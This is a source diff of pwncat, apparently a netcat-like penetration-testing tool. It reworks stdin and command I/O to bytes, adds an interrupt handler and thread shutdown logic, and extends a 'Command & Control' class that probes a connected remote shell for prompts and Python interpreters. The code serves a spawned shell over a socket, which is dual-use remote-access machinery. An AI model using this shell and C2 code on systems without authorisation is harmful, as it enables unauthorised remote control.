+3420,53 @@ class IOStdinStdout(IO): # When using select() with timeout, we don't have any input # at this point and simply continue the loop or quit if # a terminate request has been made by other threads. - if self.ssig.has_stop(): - self.log.trace("Stop signal acknowledged for reading STDIN-2") # type: ignore + if self.ssig.has_stdin_quit(): + self.log.trace( # type: ignore + "STDIN-QUIT signal ACK in IOStdinStdout.producer [2]" + ) return continue if data: self.log.debug("Received %d bytes from STDIN", len(data)) self.log.trace("Received: %s", repr(data)) # type: ignore - yield data + # [send-on-eof] Append data + if self.__opts.send_on_eof: + lines.append(data) + else: + yield data # EOF or + else: - # DO NOT RETURN HERE BLINDLY, THE UPSTREAM CONNECTION MUST GO FIRST! - if self.ssig.has_stop(): - self.log.trace("Stop signal acknowledged for reading STDIN-3") # type: ignore - return + # [send-on-eof] Dump data before quitting + if lines and self.__opts.send_on_eof: + yield StringEncoder.encode("").join(lines) + self.log.trace("STDIN-EOF signal RAISE in IOStdinStdout.producer") # type: ignore + self.ssig.raise_stdin_eof() def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Print received data to stdout.""" - # For issues with flush (when using tail -F or equal) see links below: - # https://stackoverflow.com/questions/26692284 - # https://docs.python.org/3/library/signal.html#note-on-sigpipe - print(data, end="") + if self.__py3: + sys.stdout.buffer.write(data) + else: + # For issues with flush (when using tail -F or equal) see links below: + # https://stackoverflow.com/questions/26692284 + # https://docs.python.org/3/library/signal.html#note-on-sigpipe + print(data, end="") + try: sys.stdout.flush() - except (BrokenPipeError, IOError): + except IOError: # Python flushes standard streams on exit; redirect remaining output - # to devnull to avoid another BrokenPipeError at shutdown + # to devnull to avoid another broken pipe at shutdown devnull = os.open(os.devnull, os.O_WRONLY) os.dup2(devnull, sys.stdout.fileno()) def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" - self.log.trace( # type: ignore - "[IOStdinStdout] interrupt() invoked" - ) - # Raise stop signal - # TODO: Check if this is required??? - self.ssig.raise_stop() + # TODO: Does not work on windows as it has blocking read of stdin + self.log.trace("STDIN-QUIT signal RAISE in IOStdinStdout.interrupt") # type: ignore + self.ssig.raise_stdin_quit() # -------------------------------------------------------------------------- # Private Functions @@ -3159,37 +3502,33 @@ class IOStdinStdout(IO): return mode[tty.LFLAG] != (mode[tty.LFLAG] | termios.ICANON) # type: ignore def __read_stdin(self): - # type: () -> str + # type: () -> bytes """Returns input from STDIN.""" - # (Windows) + # [1/3] (Windows) Normal/Raw mode if self.__win: + if self.__py3: + return sys.stdin.buffer.read() # Python 2 on Windows opens sys.stdin in text mode, and # binary data that read from it becomes corrupted on \r\n. # Setting sys.stdin to binary mode fixes that. - if not self.__py3: - if hasattr(os, "O_BINARY"): - msvcrt.setmode( # type: ignore - sys.stdin.fileno(), os.O_BINARY, # pylint: disable=no-member - ) - return sys.stdin.readline() + if hasattr(os, "O_BINARY"): + msvcrt.setmode( # type: ignore + sys.stdin.fileno(), os.O_BINARY, # pylint: disable=no-member + ) + return sys.stdin.read() # type: ignore - # (Linux/Mac) Raw mode + # [2/3] (Linux/Mac) Raw mode if self.__stdin_israw(): self.__set_input_timeout() - return sys.stdin.read(1) - # if self.__py3: - # return sys.stdin.buffer.read(1) # (bytes) - # return sys.stdin.read(1) - # else: - # return sys.stdin.read(1) - - # (Linux/Mac) Normal mode + if self.__py3: + return sys.stdin.buffer.read(1) + return sys.stdin.read(1) # type: ignore + + # [3/3] (Linux/Mac) Normal mode self.__set_input_timeout() - return sys.stdin.readline() - # if self.__py3: - # return sys.stdin.buffer.readline() # (bytes) - # else: - # return sys.stdin.readline() + if self.__py3: + return sys.stdin.buffer.readline() + return sys.stdin.readline() # type: ignore # ------------------------------------------------------------------------------------------------- @@ -3206,19 +3545,25 @@ class IOCommand(IO): # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, ssig, opts): - # type: (StopSignal, DsIOCommand) -> None + # type: (InterruptHandler, DsIOCommand) -> None """Set specific options for this I/O module. Args: - ssig (StopSignal): Instance of StopSignal. + ssig (InterruptHandler): Instance of InterruptHandler. opts (DsIOCommand): Custom module options. """ super(IOCommand, self).__init__(ssig) self.__opts = opts self.log.debug("Setting '%s' as executable", self.__opts.executable) - # Define destructor - atexit.register(self.__destruct__) + # Did we already run cleanup + self.__cleaned_up = False + + # If we receive only one byte at a time, the remote end is most likely + # in raw mode and we will also start sending one byte at a time. + # This will be determined in the consumer and action is taken in + # the producer. + self.__remote_is_raw = False # Open executable to wait for commands env = os.environ.copy() @@ -3240,19 +3585,11 @@ class IOCommand(IO): self.log.error("Specified executable '%s' not found", self.__opts.executable) sys.exit(1) - def __destruct__(self): - # type: () -> None - """Destructor.""" - self.log.trace( # type: ignore - "Killing executable: %s with pid %d", self.__opts.executable, self.proc.pid - ) - self.proc.kill() - # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Constantly ask for input. Yields: @@ -3260,43 +3597,80 @@ class IOCommand(IO): """ assert self.proc.stdout is not None while True: - if self.ssig.has_stop(): - self.log.trace("Stop signal acknowledged in Command") # type: ignore + if self.ssig.has_command_quit(): + self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (1)") # type: ignore + self.__cleanup() return self.log.trace("Reading command output") # type: ignore # Byte-wise reading is required to make it work for remote ends being in raw mode # However, the performance of self.proc.stdout.readline() is way faster. # To improve performance we will get rid of all other logging calls here. - data = self.proc.stdout.read(1) + if self.__remote_is_raw: + data = self.proc.stdout.read(1) + else: + data = self.proc.stdout.readline() self.log.trace("Command output: %s", repr(data)) # type: ignore if not data: - self.log.trace("Command output was empty. Exiting loop.") # type: ignore - break - yield self.__opts.enc.decode(data) + if self.ssig.has_command_quit(): + self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (2)") # type: ignore + self.__cleanup() + return + # This usually happens when sending a semicolon only to /bin/[ba]sh + # which then responds with: /bin/sh: line 5: syntax error near unexpected token `;' + # Afterwards the shell is corrupt and gone so we will restart it here. + self.log.error("COMMAND-EOF restarting: %s", self.__opts.executable) + self.proc = Popen( + self.__opts.executable, + stdin=PIPE, + stdout=PIPE, + stderr=STDOUT, + bufsize=self.__opts.bufsize, + shell=False, + env=os.environ.copy(), + ) + continue + yield data def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Send data received to stdin (command input). Args: data (str): Command to execute. """ + # If we only receive one byte at a time, also tell the consumer + # to send one byte at a time immediately and not to wait for a full line. + if len(data) == 1: + self.__remote_is_raw = True + else: + self.__remote_is_raw = False + assert self.proc.stdin is not None - byte = self.__opts.enc.encode(data) - self.log.trace("Appending to stdin: %s", repr(byte)) # type: ignore - self.proc.stdin.write(byte) - self.proc.stdin.flush() + self.log.trace("Appending to stdin: %s", repr(data)) # type: ignore + try: + self.proc.stdin.write(data) + self.proc.stdin.flush() + except BrokenPipeError: + pass def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" - self.log.trace( # type: ignore - "[IOCommand] subprocess.kill() was raised by input_unterrupter()" - ) - self.proc.kill() - # Raise stop signal - # TODO: Check if this is required??? - self.ssig.raise_stop() + self.log.trace("COMMAND-QUIT signal RAISED IOCommand.interrupt") # type: ignore + self.ssig.raise_command_quit() + self.__cleanup() + + def __cleanup(self): + # type: () -> None + """Cleanup function.""" + if not self.__cleaned_up: + self.log.trace( # type: ignore + "COMMAND-QUIT-CLEANUP: killing executable: %s with pid %d", + self.__opts.executable, + self.proc.pid, + ) + self.proc.kill() + self.__cleaned_up = True # ################################################################################################# @@ -3316,18 +3690,18 @@ class PSEStore(object): The same instance of this class will be available to your send and receive scripts that allow you to exchange data or manipulate themselves. You even have access to the currently used instance of the networking class to manipulate the active socket. - As well as to the logger and StopSignal instances. + As well as to the logger and InterruptHandler instances. """ @property def messages(self): - # type: () -> Dict[str, List[str]] - """`Dict[str, List[str]]`: Stores sent and received messages by its thread name.""" + # type: () -> Dict[str, List[bytes]] + """`Dict[str, List[bytes]]`: Stores sent and received messages by its thread name.""" return self.__messages @messages.setter def messages(self, value): - # type: (Dict[str, List[str]]) -> None + # type: (Dict[str, List[bytes]]) -> None self.__messages = value @property @@ -3343,8 +3717,8 @@ class PSEStore(object): @property def ssig(self): - # type: () -> StopSignal - """`StopSignal`: Instance of Logging.logger class.""" + # type: () -> InterruptHandler + """`InterruptHandler`: Instance of InterruptHandler class.""" return self.__ssig @property @@ -3360,11 +3734,11 @@ class PSEStore(object): return self.__log def __init__(self, ssig, net): - # type: (StopSignal, List[IONetwork]) -> None + # type: (InterruptHandler, List[IONetwork]) -> None """Instantiate the PSE class. Args: - ssig (StopSignal): Instance of the StopSignal class to force a shutdown. + ssig (InterruptHandler): Instance InterruptHandler. net (IONetwork): Instance of the current network class to manipulate the socket. """ self.__messages = {} @@ -3383,7 +3757,158 @@ class PSEStore(object): # ################################################################################################# # ------------------------------------------------------------------------------------------------- -# [8/11 IO RUNNER]: (1/1) Runner +# [8/11 IO RUNNER]: (1/2) InterruptHandler +# ------------------------------------------------------------------------------------------------- +class InterruptHandler(object): + """Pwncat interrupt handler. + + It allows all threads to raise various signal on certain actions, + as well as to ask the Interrupt Handler what to do. + The Interrupt handler will internally decide (based on pwncat's + command line arguments) what to do. + """ + + # -------------------------------------------------------------------------- + # Constructor + # -------------------------------------------------------------------------- + def __init__(self, keep_open, no_shutdown): + # type: (bool, bool) -> None + """Instantiate InterruptHandler. + + Args: + keep_open (bool): `--keep-open` command line argument. + no_shutdown (bool): `--no-shutdown` command line argument. + """ + self.__log = logging.getLogger(__name__) # type: logging.Logger + self.__keep_open = keep_open + self.__no_shutdown = no_shutdown + + # Shutdown signals + self.__terminate = False + self.__sock_send_eof = False + self.__sock_quit = False + self.__stdin_quit = False + self.__command_quit = False + + # Producers have received EOF + self.__sock_eof = False + self.__stdin_eof = False + self.__command_eof = False + + def handler(signum, frame): # type: ignore # pylint: disable=unused-argument + self.__log.trace("Ctrl+c caught.") # type: ignore + # logging.shutdown() + self.raise_terminate() + + # Handle Ctrl+C + # signal.signal(signal.SIGTERM, handler) + signal.signal(signal.SIGINT, handler) + + # -------------------------------------------------------------------------- + # Ask for action + # -------------------------------------------------------------------------- + def has_terminate(self): + # type: () -> bool + """`bool`: Switch to be checked if pwncat should be terminated.""" + return self.__terminate + + def has_sock_send_eof(self): + # type: () -> bool + """`bool`: Switch to be checked if the socket connection should be closed for sending.""" + return self.__sock_send_eof + + def has_sock_quit(self): + # type: () -> bool + """`bool`: Switch to be checked if the socket connection should be closed.""" + return self.__sock_quit + + def has_stdin_quit(self): + # type: () -> bool + """`bool`: Switch to be checked if the STDIN should be closed.""" + return self.__stdin_quit + + def has_command_quit(self): + # type: () -> bool + """`bool`: Switch to be checked if the command should be closed.""" + return self.__command_quit + + # -------------------------------------------------------------------------- + # Raise Termination signal + # -------------------------------------------------------------------------- + def raise_terminate(self): + # type: () -> None + """Signal the application that Socket should be quit.""" + self.__log.trace("SIGNAL TERMINATE raised") # type: ignore + self.__terminate = True + self.__sock_quit = True + self.__stdin_quit = True + self.__command_quit = True + + # -------------------------------------------------------------------------- + # Raise Socket signals + # -------------------------------------------------------------------------- + def raise_sock_send_eof(self): + # type: () -> None + """Signal the application that Socket should be closed for sending.""" + # self.__log.trace("SIGNAL SOCK-CLOSE-SEND raised") # type: ignore + self.__sock_send_eof = True + + def raise_sock_eof(self): + # type: () -> None + """Signal the application that Socket has received EOF.""" + # self.__log.trace("SIGNAL SOCK-EOF raised") # type: ignore + self.__sock_eof = True + self.raise_sock_quit() + + def raise_sock_quit(self): + # type: () -> None + """Signal the application that Socket should be quit.""" + # self.__log.trace("SIGNAL SOCK-QUIT raised") # type: ignore + self.__sock_quit = True + self.raise_terminate() + + # -------------------------------------------------------------------------- + # Raise STDIN signals + # -------------------------------------------------------------------------- + def raise_stdin_eof(self): + # type: () -> None + """Signal the application that STDIN has received EOF.""" + # self.__log.trace("SIGNAL STDIN-EOF raised") # type: ignore + self.__stdin_eof = True + self.raise_stdin_quit() + + def raise_stdin_quit(self): + # type: () -> None + """Signal the application that STDIN should be quit.""" + # self.__log.trace("SIGNAL STDIN-QUIT raised") # type: ignore + self.__stdin_quit = True + # If --no-shutdown or -keep-open is specified + # pwncat will not invoke shutdown on a socket after seeing EOF on stdin + if not (self.__no_shutdown or self.__keep_open): + # No more data from stdin, we can tell the remote side we are done + # by closing the socket for sending (they will receive an EOF). + self.raise_sock_send_eof() + + # -------------------------------------------------------------------------- + # Raise COMMAND signals + # -------------------------------------------------------------------------- + def raise_command_eof(self): + # type: () -> None + """Signal the application that Command has received EOF.""" + # self.__log.trace("SIGNAL COMMAND-EOF raised") # type: ignore + self.__command_eof = True + self.raise_command_quit() + + def raise_command_quit(self): + # type: () -> None + """Signal the application that Command should be quit.""" + # self.__log.trace("SIGNAL COMMAND-QUIT raised") # type: ignore + self.__command_quit = True + self.raise_terminate() + + +# ------------------------------------------------------------------------------------------------- +# [8/11 IO RUNNER]: (2/2) Runner # ------------------------------------------------------------------------------------------------- class Runner(object): """Runner class that takes care about putting everything into threads.""" @@ -3391,11 +3916,13 @@ class Runner(object): # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- - def __init__(self, pse): - # type: (PSEStore) -> None + def __init__(self, ssig, fast_quit, pse): + # type: (InterruptHandler, bool, PSEStore) -> None """Create a new Runner object. Args: + ssig (InterruptHandler): Instance of InterruptHandler. + fast_quit (boo): On `True` do not join threads upon exit, just raise terminate and exit. pse (PSEStore): Pwncat Scripting Engine store. """ self.log = logging.getLogger(__name__) @@ -3417,6 +3944,8 @@ class Runner(object): # {"name": ""} self.__threads = {} # type: Dict[str, threading.Thread] + self.__ssig = ssig + self.__fast_quit = fast_quit self.__pse = pse # -------------------------------------------------------------------------- @@ -3459,7 +3988,7 @@ class Runner(object): def run_action( name, # type: str producer, # type: DsCallableProducer - consumer, # type: Callable[[str], None] + consumer, # type: Callable[[bytes], None] transformers, # type: List[Transform] code, # type: Optional[Union[str, bytes, CodeType]] ): @@ -3508,23 +4037,25 @@ class Runner(object): consumer(data) self.log.trace("[%s] Producer Stop", name) # type: ignore - def run_timer(name, action, intvl, ssig, args, **kwargs): - # type: (str, Callable[..., None], int, StopSignal, Any, Any) -> None + def run_timer(name, action, intvl, ssig, *args, **kwargs): + # type: (str, Callable[..., None], int, InterruptHandler, Any, Any) -> None """Timer run function to be thrown into a thread (Execs periodic tasks). Args: name (str): Name for logging output action (function): Function to be called in a given intervall intvl (float): Intervall at which the action function will be called - ssig (StopSignal): Providing has_stop() and raise_stop() + ssig (InterruptHandler): Instance of InterruptHandler args (*args): *args for action func kwargs (**kwargs): **kwargs for action func """ self.log.trace("[%s] Timer Start (exec every %f sec)", name, intvl) # type: ignore time_last = int(time.time()) while True: - if ssig.has_stop(): - self.log.trace("Stop signal acknowledged for timer %s", name) # type: ignore + if ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for timer action [%s]", name + ) return time_now = int(time.time()) if time_now > time_last + intvl: @@ -3533,8 +4064,8 @@ class Runner(object): time_last = time_now # Reset previous time time.sleep(0.1) - def run_repeater(name, action, repeat, pause, ssig, args, **kwargs): - # type: (str, Callable[..., None], int, float, StopSignal, Any, Any) -> None + def run_repeater(name, action, repeat, pause, ssig, *args, **kwargs): + # type: (str, Callable[..., None], int, float, InterruptHandler, Any, Any) -> None """Repeater run function to be thrown into a thread (Execs periodic tasks). Args: @@ -3542,23 +4073,30 @@ class Runner(object): action (function): Function to be called repeat (int): Repeat the function so many times before quitting pause (float): Pause between repeated calls - ssig (StopSignal): Providing has_stop() and raise_stop() + ssig (InterruptHandler): Instance of InterruptHandler args (*args): *args for action func kwargs (**kwargs): **kwargs for action func """ cycles = 1 self.log.trace("Repeater Start (%d/%d)", cycles, repeat) # type: ignore while cycles <= repeat: - if ssig.has_stop(): - self.log.trace("Stop signal acknowledged for timer %s", name) # type: ignore + if ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for repeater action [%s]", name + ) return self.log.debug("Executing repeated function (%d/%d)", cycles, repeat) action(*args, **kwargs) cycles += 1 time.sleep(pause) - # Start available action in a thread + # [1/3] Start available action in a thread for key in self.__actions: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [1]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_action, @@ -3571,17 +4109,35 @@ class Runner(object): self.__actions[key].code, ), ) - thread.daemon = False + # Daemon threads are easier to kill + thread.daemon = self.__actions[key].daemon_thread + # Add delay if threads cannot be started + delay = 0.0 while True: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [2]: [%s]", key + ) + break try: + # Do not call any logging functions in here as it will + # cause a deadlock for Python2 + # Start and break the loop upon success to go to the next thread to start thread.start() break except (RuntimeError, Exception): # pylint: disable=broad-except - time.sleep(0.1) + delay += 0.1 + time.sleep(delay) # Give the system some time to release open fd's self.__threads[key] = thread - # Start available timers in a thread + + # [2/3] Start available timers in a thread for key in self.__timers: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [2]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_timer, @@ -3590,15 +4146,21 @@ class Runner(object): key, self.__timers[key].action, self.__timers[key].intvl, - self.__timers[key].signal, - self.__timers[key].args, - ), + self.__timers[key].ssig, + ) + + self.__timers[key].args, kwargs=self.__timers[key].kwargs, ) thread.daemon = False thread.start() - # Start available repeaters in a thread + + # [3/3] Start available repeaters in a thread for key in self.__repeaters: + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for Runner.run [3]: [%s]", key + ) + break # Create Thread object thread = threading.Thread( target=run_repeater, @@ -3608,56 +4170,72 @@ class Runner(object): self.__repeaters[key].action, self.__repeaters[key].repeat, self.__repeaters[key].pause, - self.__repeaters[key].signal, - self.__repeaters[key].args, - ), + self.__repeaters[key].ssig, + ) + + self.__repeaters[key].args, kwargs=self.__repeaters[key].kwargs, ) thread.daemon = False thread.start() - def check_stop(force): - # type: (int) -> bool + def check_stop(): + # type: () -> bool """Stop threads.""" - for key in self.__threads: - if not self.__threads[key].is_alive() or force: - # TODO: How are we gonna call the stop signal now? - # # [1/3] Inform all threads (inside) about a stop signal. - # # All threads with non-blocking funcs will be able to stop themselves - # self.log.trace( # type: ignore - # "Raise stop signal: StopSignal.stop() for thread [%s]", - # self.__threads[key].getName(), - # ) - # self.__actions[key].signal.raise_stop() - # [2/3] Call external interrupters - # These will shutdown all blocking functions inside a thread, - # so that they are actually able to join - for interrupt in self.__actions[key].interrupts: - self.log.trace( # type: ignore - "Call INTERRUPT: %s.%s() for %s", - getattr(interrupt, "__self__").__class__.__name__, - interrupt.__name__, - self.__threads[key].getName(), - ) - interrupt() - # [3/3] All blocking events inside the threads are gone, now join them - self.log.trace("Joining %s", self.__threads[key].getName()) # type: ignore - self.__threads[key].join(timeout=0.1) - # If all threads have died or force is requested, then exit - if not all([self.__threads[key].is_alive() for key in self.__threads]) or force: + # [1/2] Fast shutdown + # For Python < 3.3 we are unable to detect Ctrl+c signal during thread.join() + # in a fast loop. Also for port-scan we will have thousands of threads that need + # to be joined and the signal handler is unable to abort the whole program during that + # time. Outcome is it would take a few minutes to abort during port scan. + # The fix is to use a "faster" method to kill the threads. + # 1. The port scanner threads need to be started in daemon mode + # 2. the fast_quit param to Runner() must be set to True + if self.__fast_quit: + if self.__ssig.has_terminate(): + self.log.trace("Fast quit - shutting down.") # type: ignore + return True + + # [2/2] Normal shutdown for non-daemon threads + else: + for key in self.__threads: + if not self.__threads[key].is_alive() or self.__ssig.has_terminate(): + for interrupt in self.__actions[key].interrupts: + # [1/3] Call external interrupters + self.log.trace( # type: ignore + "Call INTERRUPT: %s.%s() for %s", + getattr(interrupt, "__self__").__class__.__name__, + interrupt.__name__, + self.__threads[key].getName(), + ) + interrupt() + # [2/3] All blocking events inside the threads are gone, now join them + try: + self.log.trace( # type: ignore + "Joining %s", self.__threads[key].getName() + ) + # NOTE: The thread.join() operating will also block the signal + # handler if we try to join too many threads at once. + self.__threads[key].join() + self.log.trace( # type: ignore + "Joined %s", self.__threads[key].getName() + ) + except RuntimeError: + pass + # If all threads are done, also stop + if all([not self.__threads[key].is_alive() for key in self.__threads]): + self.log.trace("All threads dead - shutting down.") # type: ignore return True return False - try: - while True: - if check_stop(False): - sys.exit(0) - # Need a timeout to not skyrocket the CPU - time.sleep(0.1) - except KeyboardInterrupt: - print() - check_stop(True) - sys.exit(1) + while True: + if check_stop(): + sys.exit(0) + # Need a timeout to not skyrocket the CPU + if sys.version_info < (3, 3): + # Signal Handler in Python < 3.3 is broken and might not catch on + # a too small timeout invervall + time.sleep(0.5) + else: + time.sleep(0.01) # ################################################################################################# @@ -3669,13 +4247,19 @@ class Runner(object): # ################################################################################################# # ------------------------------------------------------------------------------------------------- -# [9/11 Command & Control]: (1/2) CNC +# [9/11 Command & Control]: (1/3) CNC Exception classes +# ------------------------------------------------------------------------------------------------- +class CNCPythonNotFound(BaseException): + """CNC Exception handler.""" + + +# ------------------------------------------------------------------------------------------------- +# [9/11 Command & Control]: (2/3) CNC # ------------------------------------------------------------------------------------------------- class CNC(object): """Command and Control base class.""" __PYTHON_PATHS = [ - "/bin", "/usr/bin", "/usr/local/bin", "/usr/local/python/bin", @@ -3686,6 +4270,7 @@ class CNC(object): "/usr/local/python3.6/bin", "/usr/local/python3.7/bin", "/usr/local/python3.8/bin", + "/bin", "/opt/bin", "/opt/python/bin", "/opt/python2/bin", @@ -3697,11 +4282,11 @@ class CNC(object): "/opt/python3.8/bin", ] - __PYTHON_VERSIONS = [ + __PYTHON_NAMES = [ + "python3", "python", "python2", "python2.7", - "python3", "python3.5", "python3.6", "python3.7", @@ -3714,42 +4299,61 @@ class CNC(object): # Properties # -------------------------------------------------------------------------- @property - def python(self): + def remote_python(self): # type: () -> str """Discovered absolute Python remote path.""" - return self.__python + return self.__remote_python @property - def py3(self): + def remote_py3(self): # type: () -> bool """Is remote version Python3? Else it is Python2.""" - return self.__py3 + return self.__remote_py3 # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- - def __init__(self, enc, fsend, frecv): - # type: (StringEncoder, Callable[[str], None], Callable[[], Iterator[str]]) -> None + def __init__(self, network): + # type: (IONetwork) -> None """Instantiate Command and Control class. Args: - enc (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). - fsend (func): Socket send function. - frcev (func): Socket receive generator function. + network (IONetwork): Instance of IONetwork Raises: - FileNotFoundError: if remote Python binary path is not found. + CNCPythonNotFound: if remote Python binary path is not found. """ - self.__enc = enc - self.__fsend = fsend - self.__frecv = frecv + self.__net = network + self.__log = logging.getLogger(__name__) + self.__py3 = sys.version_info >= (3, 0) # type: bool + + # Along with the response the server might prefix/suffix data + # such as a PS1 prompt (which might be send first or last with a newline) + self.__remote_prefix = [] # type: List[bytes] + self.__remote_suffix = [] # type: List[bytes] + + # Receive timeout value will be adjusted dynamically depending on the + # speed of the server. We'll start high to allow for slow servers. + self.__recv_timeout = 0.3 + self.__recv_rounds = 5 + self.__recv_times = [] # type: List[float] + + # [1/3] Check if there is data to be received first (e.g.: greeting) + self.print_info("Checking if remote sends greeting...") + greeting = self.send_recv(None, False, False) + if greeting: + self.print_raw(b"\n".join(greeting), True) + # [2/3] Check if the remote sends a prefix with every reply + self.__set_remote_prefix() + + # [3/3] Find potential Python versions if not self.__set_remote_python_path(): self.print_info("No Python has been found. Aborting and handing over to current shell.") - raise FileNotFoundError() + raise CNCPythonNotFound() # -------------------------------------------------------------------------- - # Public Functions + # Print Functions # -------------------------------------------------------------------------- def print_info(self, message=None, newline=True, erase=False): # type: (Optional[str], bool, bool) -> None @@ -3773,15 +4377,261 @@ class CNC(object): print("{}{}".format(prefix, message), end=end) sys.stdout.flush() - def remote_command(self, command): - # type: (str) -> None - """Run remote command with correct linefeeds. + def print_raw(self, message, newline): + # type: (bytes, bool) -> None + """Print a message to the local screen without color/prefix. + + Args: + message (bytes): The message to print. + newline (bool): Add a newline? + """ + if self.__py3: + end = b"\n" if newline else b"" + sys.stdout.buffer.write(b"".join([message, end])) + else: + end = "\n" if newline else "" # type: ignore + print(message, end=end) # type: ignore + + # For issues with flush (when using tail -F or equal) see links below: + # https://stackoverflow.com/questions/26692284 + # https://docs.python.org/3/library/signal.html#note-on-sigpipe + try: + sys.stdout.flush() + except IOError: + # Python flushes standard streams on exit; redirect remaining output + # to devnull to avoid another broken pipe at shutdown + devnull = os.open(os.devnull, os.O_WRONLY) + os.dup2(devnull, sys.stdout.fileno()) + + # -------------------------------------------------------------------------- + # Network Functions + # -------------------------------------------------------------------------- + def send(self, data): + # type: (bytes) -> int + """Send data through a connected (TCP) or unconnected (UDP) socket. + + Args: + data (bytes): The data to send. + + Returns: + int: Returns total bytes sent. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + return self.__net.net.send(data) + + def flush_receive(self): + # type: () -> List[bytes] + """Try to reveive everything which is currently being sent from remote. + + Returns: + List[bytes]: Returns a list of bytes of received data. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + self.print_info("Flushing receive buffer (this can take some time) ...") + + self.send(b"\n") + data1 = self.send_recv(None, False, False) + data2 = self.send_recv(None, False, False) + + self.print_info("Flushing receive buffer done.") + return data1 + data2 + + def send_recv(self, data, strip_suffix=True, strip_echo=False): + # type: (Optional[bytes], bool, bool) -> List[bytes] + """Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies. + + Args: + data (None|bytes): The data to send. If None, will skip sending. + strip_suffix (bool): Strip remote suffix from received data? + strip_echo (bool): Also remove 'data' from output if server has echo'ed it? + + Returns: + List[bytes]: Returns a list of bytes of received data. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. + """ + # [1/4] Send + if data is not None: + self.__net.net.send(data) + + # [2/4] Receive actual reply + responses = [] + + # Setup timer and current receive round + time_start = datetime.now() + curr_round = 0 + + while curr_round < self.__recv_rounds: + try: + response = self.__net.net.receive() + except socket.timeout: + time.sleep(self.__recv_timeout) + time_step = datetime.now() + time_diff = time_step - time_start + + self.__log.trace( # type: ignore + "Timeout: Receive timed out after %f sec in %d/%d rounds", + time_diff.total_seconds(), + curr_round + 1, + self.__recv_rounds, + ) + curr_round += 1 + # On successful read, we can determine to adjust timings. + else: + time_end = datetime.now() + time_diff = time_end - time_start + + self.__recv_times.append(time_diff.total_seconds()) + self.__log.trace( # type: ignore + "Timeout: Receive took %f sec (avg: %f) to receive in %d/%d rounds", + time_diff.total_seconds(), + sum(self.__recv_times) / len(self.__recv_times), + curr_round + 1, + self.__recv_rounds, + ) + + # Retries were required + prev_recv_timeout = self.__recv_timeout + if curr_round > 1: + self.__recv_timeout += time_diff.total_seconds() + # No retries requred + else: + self.__recv_timeout = time_diff.total_seconds() / 2 + + self.__log.trace( # type: ignore + "Timeout: Previous recv timeout: %f sec -> new recv timeout: %f sec", + prev_recv_timeout, + self.__recv_timeout, + ) + + # Add response + if response: + responses.append(response) + + # Reset the start time and round + time_start = datetime.now() + curr_round = 0 + + # Return if already empty + if not responses: + return responses + + # Response could be in one of the below listed formats: + # 1. response could be one line per element + # 2. reposnse could be multiple lines per element + # 3. response cloud be single characters per element + # But we want to make sure that we always get one line per element, + # so we normalize it + + # First: Join lines which do not have line endings + self.__log.debug("Normalize recv before (1): %s", repr(responses)) + normalized = [] + has_eol = True + for line in responses: + if has_eol: + normalized.append(line) + else: + normalized[-1] = normalized[-1] + line + # Determine what to do next iteration + if line.endswith(b"\r\n"): + has_eol = True + elif line.endswith(b"\n"): + has_eol = True + elif line.endswith(b"\r"): + has_eol = True + else: + has_eol = False + responses = normalized + self.__log.debug("Normalize recv after (1): %s", repr(responses)) + + # Second: Separate lines which have line endings + self.__log.debug("Normalize recv before (2): %s", repr(responses)) + normalized = [] + for line in responses: + line = line.rstrip(b"\r\n") + line = line.rstrip(b"\n") + line = line.rstrip(b"\r") + line = line.lstrip(b"\r\n") + line = line.lstrip(b"\n") + line = line.lstrip(b"\r") + if b"\r\n" in line: + for newline in line.split(b"\r\n"): + normalized.append(newline) + elif b"\n" in line: + for newline in line.split(b"\n"): + normalized.append(newline) + elif b"\r" in line: + for newline in line.split(b"\r"): + normalized.append(newline) + else: + normalized.append(line) + responses = normalized + self.__log.debug("Normalize recv after (2): %s", repr(responses)) + + # [3/4] Remove remote ends suffix (if it sends something like it) + # We iterate reversed of responses and check if the new line suffix(es) + # are present at the end. + # This is because the suffix(es) is always received last. + if self.__remote_suffix and strip_suffix: + # If multiple suffix lines are send we will first strip x-1 suffix lines + if len(self.__remote_suffix) > 1: + lines_to_strip = len(self.__remote_suffix) - 1 + self.__log.debug("Remove suffix before (1): %s", repr(responses)) + responses = responses[:-lines_to_strip] + self.__log.debug("Remove suffix after (1): %s", repr(responses)) + + # Return if already empty + if not responses: + return responses + + # Clean up the last response line with first suffix line + self.__log.debug("Remove suffix before (2): %s", repr(responses)) + responses[-1] = responses[-1].rstrip(self.__remote_suffix[0]) + self.__log.debug("Remove suffix after (2): %s", repr(responses)) + + # Ensure empty elements are removed + self.__log.debug("Remove suffix before (3): %s", repr(responses)) + responses = [item for item in responses if item] + self.__log.debug("Remove suffix after (3): %s", repr(responses)) + + # [4/4] Some server also echo back what we've send, so if we did send something + # we need to strip this off as well + if data is not None and strip_echo: + for idx, item in enumerate(responses): + if data in responses[idx]: + del responses[idx] + elif data.rstrip() in responses[idx]: + del responses[idx] + # Ensure empty elements are removed + responses = [item for item in responses if item] + + # Return list of respones + return responses + + # 